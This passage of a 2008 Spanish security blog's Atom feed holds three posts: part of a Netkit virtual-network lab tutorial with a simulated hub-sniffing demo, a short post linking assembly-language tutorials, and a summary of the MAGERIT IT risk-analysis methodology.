Debian&lt;/a&gt; ultraligeros y los configuraremos según el papel que jueguen dentro de la red que queremos simular (router, switch o equipo final).&lt;br /&gt;&lt;br /&gt;Su instalación es muy sencilla. Primero hay que &lt;a href="http://www.netkit.org/download.html"&gt;descargar&lt;/a&gt; tres ficheros:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El &lt;a href="http://www.netkit.org/download/netkit/netkit-2.6.tar.bz2"&gt;programa principal&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;El &lt;a href="http://www.netkit.org/download/netkit-filesystem/netkit-filesystem-F4.0.tar.bz2"&gt;sistema de ficheros&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;El &lt;a href="http://www.netkit.org/download/netkit-kernel/netkit-kernel-K2.5.tar.bz2"&gt;kernel&lt;/a&gt; que usarán las máquinas virtuales.&lt;/li&gt;&lt;/ul&gt;Una vez descargados deben ser descomprimidos todos juntos en el directorio que elijamos (supondremos que &lt;span style="font-style: italic;"&gt;/usr/share/netkit&lt;/span&gt;) (&lt;b&gt;ver actualización al final del artículo&lt;/b&gt;) y luego prepararemos unas cuantas variables de entorno para que quede constancia de donde hemos instalado el Netkit. Para ello, lo más recomendable es añadir al final de /etc/profile las siguientes líneas:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;NETKIT_HOME="/usr/share/netkit"&lt;br /&gt;MANPATH="$MANPATH:$NETKIT_HOME/man"&lt;br /&gt;PATH="$PATH:$NETKIT_HOME/bin"&lt;br /&gt;export NETKIT_HOME MANPATH PATH&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Una vez hecho esto hay que reiniciar el equipo para que funcionen las variables de entorno que acabamos de configurar. Y ya está, para comprobar que no falla nada ejecutamos un script de comprobación que incluye netkit:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;dante@Hades:/usr/share/netkit$ &lt;span style="font-weight: bold;"&gt;./check_configuration.sh&lt;/span&gt;&lt;br /&gt;&gt;  Checking path correctness... passed.&lt;br /&gt;&gt;  Checking environment... passed.&lt;br /&gt;&gt;  Checking for availability of man pages... passed.&lt;br /&gt;&gt;  Checking for proper directories in the PATH... passed.&lt;br /&gt;&gt;  Checking for availability of auxiliary tools:&lt;br /&gt;awk          : ok&lt;br /&gt;basename     : ok&lt;br /&gt;date         : ok&lt;br /&gt;dirname      : ok&lt;br /&gt;find         : ok&lt;br /&gt;getopt       : ok&lt;br /&gt;grep         : ok&lt;br /&gt;head         : ok&lt;br /&gt;id           : ok&lt;br /&gt;kill         : ok&lt;br /&gt;ls           : ok&lt;br /&gt;lsof         : ok&lt;br /&gt;ps           : ok&lt;br /&gt;readlink     : ok&lt;br /&gt;wc           : ok&lt;br /&gt;port-helper  : ok&lt;br /&gt;tunctl       : ok&lt;br /&gt;uml_mconsole : ok&lt;br /&gt;uml_switch   : ok&lt;br /&gt;passed.&lt;br /&gt;&gt;  Checking for availability of terminal emulator applications:&lt;br /&gt;xterm          : found&lt;br /&gt;konsole        : found&lt;br /&gt;gnome-terminal : not found&lt;br /&gt;passed.&lt;br /&gt;&lt;br /&gt;[ READY ] Congratulations! Your Netkit setup is now complete!&lt;br /&gt;Enjoy Netkit!&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Llegados a este punto empieza lo realmente interesante.&lt;br /&gt;&lt;br /&gt;Vamos a arrancar dos máquinas virtuales conectadas al mismo &lt;a href="http://es.wikipedia.org/wiki/Dominio_de_colisi%C3%B3n"&gt;dominio de colisión&lt;/a&gt; (equivalente pincharlos en el mismo &lt;a href="http://es.wikipedia.org/wiki/Concentrador"&gt;hub&lt;/a&gt;) y vamos a hacer ping entre ellas.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;vstart --eth0=CD-A -M 100 PC-1&lt;/span&gt;&lt;br /&gt;dante@Hades:~/netkit_labs$&lt;span style="font-weight: bold;"&gt; vstart --eth0=CD-A -M 100 PC-2&lt;/span&gt;&lt;br /&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 1136&lt;br /&gt;-rw-r--r-- 1 dante dante 1074012160 2008-09-11 23:26 PC-1.disk&lt;br /&gt;-rw-r--r-- 1 dante dante               470 2008-09-11 23:25 PC-1.log&lt;br /&gt;-rw-r--r-- 1 dante dante 1074012160 2008-09-11 23:26 PC-2.disk&lt;br /&gt;-rw-r--r-- 1 dante dante               470 2008-09-11 23:26 PC-2.log&lt;/blockquote&gt;&lt;br /&gt;Con el parámetro --eth0 se asigna a dicho interfaz al dominio de colisión CD-A (podemos llamarlos como deseemos), y con el parámetro -M le adgudicamos 100 MB de memoria RAM a la máquina. Se puede ver que Netkit crea un archivo .disk por cada máquina virtual creada, donde guarda su sistema de ficheros. Cada sistema de ficheros usa 1'1GB por defecto así que mejor asegurarse de tener espacio de sobra antes de iniciar un experimento con muchas máquinas.&lt;br /&gt;&lt;br /&gt;Al hacer cada uno de los &lt;span style="font-style: italic;"&gt;vstart&lt;/span&gt; aparece una ventana de &lt;a href="http://es.wikipedia.org/wiki/Xterm"&gt;&lt;span style="font-style: italic;"&gt;xterm&lt;/span&gt;&lt;/a&gt; con la consola del equipo virtual que hemos lanzado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SMmP-QyV_xI/AAAAAAAAAFM/_zBG07i5ULE/s1600-h/xterms.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SMmP-QyV_xI/AAAAAAAAAFM/_zBG07i5ULE/s320/xterms.png" alt="" id="BLOGGER_PHOTO_ID_5244881540870438674" border="0" /&gt;&lt;/a&gt;Es ahí donde configuramos cada una de las máquinas:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;PC-1:~#&lt;span style="font-weight: bold;"&gt; ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up&lt;/span&gt;&lt;br /&gt;PC-2:~# &lt;span style="font-weight: bold;"&gt;ifconfig eth0 192.168.0.2 netmask 255.255.255.0 up&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Si ahora hacemos &lt;a href="http://es.wikipedia.org/wiki/Ping"&gt;ping&lt;/a&gt; entre las dos máquinas veremos que hay respuesta.&lt;br /&gt;&lt;br /&gt;Ahora vamos a hacer un experimento muy sencillo, para que no se diga que en este artículo no se ha tratado la seguridad informática. Vamos a remontarnos a hace más de 10 años, cuando las redes se basaban en su mayor parte en &lt;span style="font-style: italic;"&gt;hubs&lt;/span&gt;, es decir, cuando todos los PCs de la red se conectaban al mismo dominio de colisión. En aquellos tiempos era muy fácil realizar escuchas (&lt;span style="font-style: italic;"&gt;sniffing&lt;/span&gt;) ya que los hubs replicaban todo lo que recibían por un puerto al resto de los puertos con lo que si alguien ponía su interfaz en &lt;a href="http://es.wikipedia.org/wiki/Modo_promiscuo"&gt;modo promíscuo&lt;/a&gt; podía evitar que su tarjeta de red descartase los paquetes que no fuesen dirigidos a él y visualizarlos en un programa como &lt;a href="http://es.wikipedia.org/wiki/Tcpdump"&gt;tcpdump&lt;/a&gt;. Para simular lo que habría hecho un atacante de aquellos tiempos vamos a crear su PC de la misma manera que los anteriores pero llamándolo PC-3 y asignándole la dirección IP 192.168.0.3. Esto sería como pinchar el PC del intruso al hub de los espiados. Ahora arrancamos un &lt;span style="font-style: italic;"&gt;tcpdump&lt;/span&gt; en PC-3 y vemos si podemos captar el ping que vamos a lanzar desde PC-2 a PC1:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SMmV0HrmFlI/AAAAAAAAAFc/l-NnHuK-LeE/s1600-h/sniffing_hub.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 291px; height: 400px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SMmV0HrmFlI/AAAAAAAAAFc/l-NnHuK-LeE/s400/sniffing_hub.png" alt="" id="BLOGGER_PHOTO_ID_5244887963697288786" border="0" /&gt;&lt;/a&gt;Como se puede ver en la imagen le hemos dado tiempo a PC-2 a enviar dos ping a PC-1 y este ha respondido correctamente. ¿Y que ha visto PC-3?, pues todo, la consulta arp de PC-2, la respuesta de PC-1, los ICMP-request de PC-2 (pings de ida) y los ICMP-reply de PC-1 (pings de vuelta). Vamos, que PC-3 se ha enterado de toda la "conversación" entre PC-2 y PC-1. Si esto no hubiese sido un mero ping sino una sesión de &lt;a style="font-style: italic;" href="http://es.wikipedia.org/wiki/Telnet"&gt;telnet&lt;/a&gt;, PC-3 podría haberse enterado del nombre de usuario y la contraseña de la persona que accediese desde PC-2 a PC-1. De ahí la importancia de cifrar las sesiones de terminal mediante &lt;a style="font-style: italic;" href="http://es.wikipedia.org/wiki/SSH"&gt;SSH&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para apagar las máquinas virtuales, se puede hacer un &lt;span style="font-style: italic;"&gt;halt&lt;/span&gt; desde dentro de cada una ellas o bien con &lt;span style="font-style: italic;"&gt;vhalt&lt;/span&gt; desde nuestra línea de comandos real:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;vhalt PC-1&lt;/span&gt;&lt;br /&gt;Halting virtual machine "PC-1" (PID 29271) owned by dante [....                ]&lt;br /&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;vhalt PC-2&lt;/span&gt;&lt;br /&gt;Halting virtual machine "PC-2" (PID 30824) owned by dante [....                ]&lt;br /&gt;dante@Hades:~/netkit_labs$ &lt;span style="font-weight: bold;"&gt;vhalt PC-3&lt;/span&gt;&lt;br /&gt;Halting virtual machine "PC-3" (PID 28568) owned by dante [....                ]&lt;br /&gt;dante@Hades:~/netkit_labs$               &lt;br /&gt;&lt;/blockquote&gt;Si posteriormente quisiéramos reiniciar las máquinas sólo tendríamos que usar el comando vstart (siempre y cuando no hayamos borrado los fichero .disk). Por ejemplo, para arrancar PC-1 haríamos: &lt;span style="font-style: italic;"&gt;vstart PC-1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno, no está mal para empezar, hemos montado un experimento con tres PCs y un hub sin tener ninguna de las cuatro cosas ... más no se puede pedir, ¿o sí?. En mi próximo (o proximos) artículo profundizaré en las posibilidades de Netkit para elaborar experimentos más complejos e interesantes.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Actualización 2010-01-01&lt;/b&gt;: En la nueva versión de Netkit han cambiado el sistema de ficheros (la imagen de Debian con la que se carga cada una de la máquinas virtuales) a una de 10 GB. Afortunadamente, si usamos particiones con sistemas de ficheros &lt;i&gt;serios&lt;/i&gt; (ext, ReiserFS, XFS, JFS o NTFS) no hay que preocuparse ya que lo tratará como un fichero &lt;i&gt;sparse&lt;/i&gt; y no ocupará ni una fracción de ese tamaño. De lo único que habrá que asegurarse es de que al descomprimir los ficheros descargados de la web de Netkit en &lt;i&gt;/user/share/netkit&lt;/i&gt; se utilice la orden: &lt;b&gt;sudo tar -xjSf&lt;/b&gt; siendo la S precisamente para tratar los ficheros como &lt;i&gt;sparse&lt;/i&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-2350844869404053933?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1aAiDJ8YAbfczpK0BUrXrVO-sLg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1aAiDJ8YAbfczpK0BUrXrVO-sLg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1aAiDJ8YAbfczpK0BUrXrVO-sLg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1aAiDJ8YAbfczpK0BUrXrVO-sLg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/sXI69pjDKig" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/2350844869404053933/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=2350844869404053933" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2350844869404053933?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2350844869404053933?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/sXI69pjDKig/creacin-de-laboratorios-virtuales-con.html" title="Creación de laboratorios virtuales con Netkit (I)" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_czXkQpCMagk/SMblIsB9oGI/AAAAAAAAAE8/gs9GPcm6m9w/s72-c/virtualization.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/09/creacin-de-laboratorios-virtuales-con.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MMQHs7cSp7ImA9WxRSE0k.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-450926746734851049</id><published>2008-09-11T11:39:00.003+02:00</published><updated>2008-09-14T00:38:01.509+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-14T00:38:01.509+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><title>Programación en ensamblador</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SMmFT5PUUsI/AAAAAAAAAFE/XmguMo6Nkhg/s1600-h/assembler.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 172px; height: 120px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SMmFT5PUUsI/AAAAAAAAAFE/XmguMo6Nkhg/s320/assembler.jpg" alt="" id="BLOGGER_PHOTO_ID_5244869817878729410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Reconozco que la programación en ensamblador es una de mis asignaturas pendientes. Conocerla resulta primordial para investigar temas como las vulnerabilidades de desbordamiento de pila o el desarrollo de shellcodes que las exploten. Sin embargo todos los tutoriales que he encontrado hasta el momento sobre ensamblador o son extremadamente complejos o son inconexos y desactualizados.&lt;br /&gt;&lt;br /&gt;Por fortuna, en una de las listas de correo a las que estoy apuntado se han mencionado dos direcciones web que ofrecen interesantes posibilidades:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.drpaulcarter.com/pcasm/"&gt;&lt;span style="font-style: italic;"&gt;La web del Doctor Paul Carter&lt;/span&gt;&lt;/a&gt;: Ofrece un tutorial sobre ensamblador bastante completo, didáctico, actualizado, en formato PDF, multiplataforma y con una versión traducida al español.&lt;/li&gt;&lt;li&gt;&lt;a href="http://win32assembly.online.fr/"&gt;&lt;span style="font-style: italic;"&gt;La web de Iczelion:&lt;/span&gt;&lt;/a&gt; A primera vista parece centrada exclusivamente en el desarrollo en ensamblador para Windows. Puede resultar interesante para encontrar un IDE adecuado para esta plataforma.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-450926746734851049?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/P0JdpDbIZE2cW37lwqy6k8Bj7hI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P0JdpDbIZE2cW37lwqy6k8Bj7hI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/P0JdpDbIZE2cW37lwqy6k8Bj7hI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P0JdpDbIZE2cW37lwqy6k8Bj7hI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/MzN6gjpV0o0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/450926746734851049/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=450926746734851049" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/450926746734851049?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/450926746734851049?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/MzN6gjpV0o0/programacin-en-ensamblador.html" title="Programación en ensamblador" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SMmFT5PUUsI/AAAAAAAAAFE/XmguMo6Nkhg/s72-c/assembler.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/programacin-en-ensamblador.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4NQHg9eCp7ImA9WxRTEk0.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-5497106411423896180</id><published>2008-08-31T15:23:00.014+02:00</published><updated>2008-08-31T20:23:11.660+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-31T20:23:11.660+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><title>MAGERIT</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/SLrfNMMfEqI/AAAAAAAAAE0/4NX6wvjNprQ/s1600-h/ilus_0152.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_czXkQpCMagk/SLrfNMMfEqI/AAAAAAAAAE0/4NX6wvjNprQ/s320/ilus_0152.jpg" alt="" id="BLOGGER_PHOTO_ID_5240746534103880354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;MAGERIT&lt;/span&gt; es el nombre árabe que tenía la antigua Madrid, pero también el acrónimo de la &lt;a href="http://www.csi.map.es/csi/pg5m20.htm"&gt;&lt;span style="font-weight: bold;"&gt;Metodología de Análisis y Gestión de Riesgos de IT&lt;/span&gt;&lt;/a&gt; (del inglés, Information Technologies) creada por el &lt;a href="http://www.map.es/"&gt;Ministerio de Administraciones Públicas&lt;/a&gt; español con el fin de sistematizar el análisis y la gestión de riesgos en el marco de la Administración. Sirve para realizar los pasos delineados en mi &lt;a href="http://danteslab.blogspot.com/2008/08/anlisis-de-riesgos.html"&gt;anterior artículo&lt;/a&gt; sobre análisis de riesgos pero siguiendo una serie de pasos determinados y concretados en la metodología, así en vez de que cada responsable de seguridad haga un análisis de riesgos a su manera se usará un método común de manera que no haya lugar para la improvisación ni para la arbitrariedad del analista. Este enfoque tiene la ventaja de la interoperabilidad que ofrece con otros actores. Por un lado las empresas conocerán al detalle el método que se va a usar, por lo que podrán realizar ofertas más personalizadas para colaborar en alguno de los pasos. Por otro lado, este marco común de análisis de riesgos facilita la realimentación de los resultados y conclusiones en otras organizaciones de la Administración al basarse el método en una estructura que todos conocen.&lt;br /&gt;&lt;br /&gt;MAGERIT se basa en &lt;span style="font-weight: bold;"&gt;tres libros&lt;/span&gt;. Concretamente:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.csi.map.es/csi/pdf/magerit_v2/metodo_v11_final.pdf"&gt;&lt;span style="font-weight: bold;"&gt;Método&lt;/span&gt;&lt;/a&gt;: Establece los conceptos básicos. Las tareas clave a realizar y la documentación resultante.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.csi.map.es/csi/pdf/magerit_v2/catalogo_v11_final.pdf"&gt;&lt;span style="font-weight: bold;"&gt;Catálogo&lt;/span&gt;&lt;/a&gt;: Se trata de una lista de elementos estándar de manera que se cuente con una nomenglatura común a todos los proyectos de análisis y gestión de riesgos donde se aplique MAGERIT. Así, se enumeran: tipos de activos, dimensiones de valoración de los activos, criterios de valoración de los activos, amenazas típicas sobre los sistemas de información y salvaguardas a considerar a la hora de proteger los sistemas de información.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="font-weight: bold;" href="http://www.csi.map.es/csi/pdf/magerit_v2/tecnicas_v11_final.pdf"&gt;Guía de técnicas&lt;/a&gt;: Explica una serie de técnicas útiles para cada uno de los pasos en los que se compone la metodología. &lt;/li&gt;&lt;/ul&gt;El libro sobre el Método es el más didáctico de todos y presenta unas definiciones de los activos, amenazas, riesgos, impactos, etc similares a las dadas en mi anterior artículo. Añade a las ya clásicas dimensiones de la seguridad (Confidencialidad, Integridad, Disponibilidad y Autenticidad) una nueva, la Trazabilidad, por la cual resulta indispensable establecer mecanismos que permitan saber quién presta los servicios y accede a los datos. Tiene bien presente la problemática que introduce en la valoración la interdependencia de los activos. Esto último le lleva definir dos tipos nuevos de impacto:&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Impacto acumulado&lt;/span&gt;: Es el calculado en función de las amenazas a las que está expuesto el activo y en función del valor de dicho activo más el de los que dependen de él. Sirve para determinar qué pasaría si un activo cayese, por lo que resulta extremadamente útil para determinar qué puntos son prioritarios a la hora de establecer salvaguardas.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Impacto repercutido&lt;/span&gt;: Se calcula en función de su valor propio y  de las amenazas a las que están sometidos los activos de los que depende. Sirve para determinar como le afectaría a un activo la caída de otros. Se utiliza a la hora de establecer los riesgos residuales.&lt;/li&gt;&lt;/ul&gt;Todas estas valoraciones son importantes ya que, como se puede ver en la figura,  la implantación de&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SLrSV4hhxPI/AAAAAAAAAEk/xh23AYmyPcY/s1600-h/balance_riesgo-salvaguardas-costes.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SLrSV4hhxPI/AAAAAAAAAEk/xh23AYmyPcY/s320/balance_riesgo-salvaguardas-costes.png" alt="" id="BLOGGER_PHOTO_ID_5240732389791089906" border="0" /&gt;&lt;/a&gt; salvaguardas permite reducir los riesgos a los que se ven sometidos los activos de la organización, lo que sirve para evitar los costes que suponen los impactos de las amenazas más frecuentes. Sin embargo si se busca obsesivamente la seguridad intentando evitar las amenazas menos frecuentes los costes de la organización se disparan por el esfuerzo necesario para establecer las salvaguardas. Si lo que se busca es reducir los costes económicos a los que se ve sometida la organización, se tratará de encontrar un punto de equilibrio, representado en la gráfica por el mínimo del coste total. Sin embargo hay organizaciones que no se pueden guiar (o no deberían) por el coste económico, por ejemplo en lo que se refiere a sistemas militares, por lo que tenderán al grado máximo de seguridad, aunque ello suponga disparar los costes monetarios.&lt;br /&gt;&lt;br /&gt;El libro sobre el Método divide el Análisis y la Gestión del Riesgo (AGR) en tres procesos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Planificación&lt;/span&gt;: De los medios materiales y humanos destinados a la realización del AGR, el ámbito del análisis y los plazos a los que se ceñirá.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Análisis de Riesgos&lt;/span&gt;: Valoración de los diferentes elementos (activos, amenazas y salvaguardas) y de sus interdependencias (riesgos, impactos y eficacia de las salvaguardas).&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Gestión del Riesgo&lt;/span&gt;: Se elige entre las distintas opciones de salvaguarda identificadas en el proceso de Análisis. Se elabora el plan de seguridad y se prepara su implantación.&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/SLrWJXVki0I/AAAAAAAAAEs/I2-QfsoFSQE/s1600-h/procesos+de+MAGERIT.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_czXkQpCMagk/SLrWJXVki0I/AAAAAAAAAEs/I2-QfsoFSQE/s320/procesos+de+MAGERIT.png" alt="" id="BLOGGER_PHOTO_ID_5240736572770650946" border="0" /&gt;&lt;/a&gt;MAGERIT divide cada uno de estos procesos en una serie muy detallada de actividades, y estas a su vez en tareas, llegando incluso a determinar los productos de entrada y de salida de cada una de esas tareas, así como las técnicas aplicables a cada una de ellas.&lt;br /&gt;&lt;br /&gt;Por último, no hay que olvidar MAGERIT está pensada para utilizarse conjuntamente con los &lt;span style="font-style: italic;"&gt;Criterios de Seguridad, Normalización y Conservación&lt;/span&gt;, para los amigos &lt;a href="http://www.csi.map.es/csi/pg5c10.htm"&gt;&lt;span style="font-style: italic;"&gt;Criterios SNC&lt;/span&gt;&lt;/a&gt;, y con la herramienta &lt;a style="font-weight: bold;" href="http://www.ar-tools.com/pilar"&gt;PILAR&lt;/a&gt;. Los Criterios SNC no son sino un recetario de buenas prácticas a la hora de plantear el desarrollo, despliegue y explotación de sistemas con el fin de mejorar su seguridad, integridad e interoperabilidad. Es un documento bastante interesante y, sobre todo, muy concreto y realista y debería ser de lectura obligada para cualquier ingeniero de seguridad que se precie independientemente de que trabaje para la Administración o no. En cuanto a PILAR es la herramienta automatizada de análisis de riesgos utilizada en la Administración española. Desgraciadamente, el uso de PILAR está restringido ya que el &lt;a href="http://www.ccn.cni.es/"&gt;Centro Criptológico Nacional&lt;/a&gt;, responsable de la gestión de las licencias de PILAR, sólo las concede a las entidades de la Administración.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-5497106411423896180?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lj7qf-JSA_oSGlkagzPh0o-SdIo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lj7qf-JSA_oSGlkagzPh0o-SdIo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lj7qf-JSA_oSGlkagzPh0o-SdIo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lj7qf-JSA_oSGlkagzPh0o-SdIo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/Cl8_cI-QpcU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/5497106411423896180/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=5497106411423896180" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/5497106411423896180?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/5497106411423896180?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/Cl8_cI-QpcU/magerit.html" title="MAGERIT" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_czXkQpCMagk/SLrfNMMfEqI/AAAAAAAAAE0/4NX6wvjNprQ/s72-c/ilus_0152.jpg" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/magerit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4BQn08fyp7ImA9WxdaGU4.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-3619030549953187516</id><published>2008-08-28T17:20:00.000+02:00</published><updated>2008-08-28T17:22:33.377+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-28T17:22:33.377+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><title>Diseño 